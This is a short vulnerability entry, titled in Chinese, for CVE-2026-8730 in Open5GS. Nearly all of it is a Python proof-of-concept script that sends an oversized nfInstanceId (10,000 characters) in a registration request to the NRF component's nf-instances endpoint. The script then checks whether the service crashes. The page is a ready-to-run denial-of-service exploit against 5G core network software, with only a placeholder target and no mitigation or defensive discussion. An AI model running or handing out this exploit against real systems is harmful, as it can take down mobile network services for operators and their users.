CVE-2026-8730 Open5GS拒绝服务漏洞

import requests # Proof of Concept for CVE-2026-8730 # Target: Open5GS NRF component # Description: Sends a malformed nfInstanceId to trigger DoS. target_url = "http://<target-ip>:<port>/nnrf-nfm/v1/nf-instances" malformed_id = "A" * 10000 # Payload with excessive length or special chars headers = { "Content-Type": "application/json", "Accept": "application/json" } # Malformed payload structure payload = { "nfInstanceId": malformed_id, "nfType": "AMF", "nfStatus": "REGISTERED" } try: response = requests.post(target_url, json=payload, headers=headers, timeout=5) print(f"Status Code: {response.status_code}") print("Payload sent. Check if the service crashes.") except Exception as e: print(f"Request failed or service down: {e}")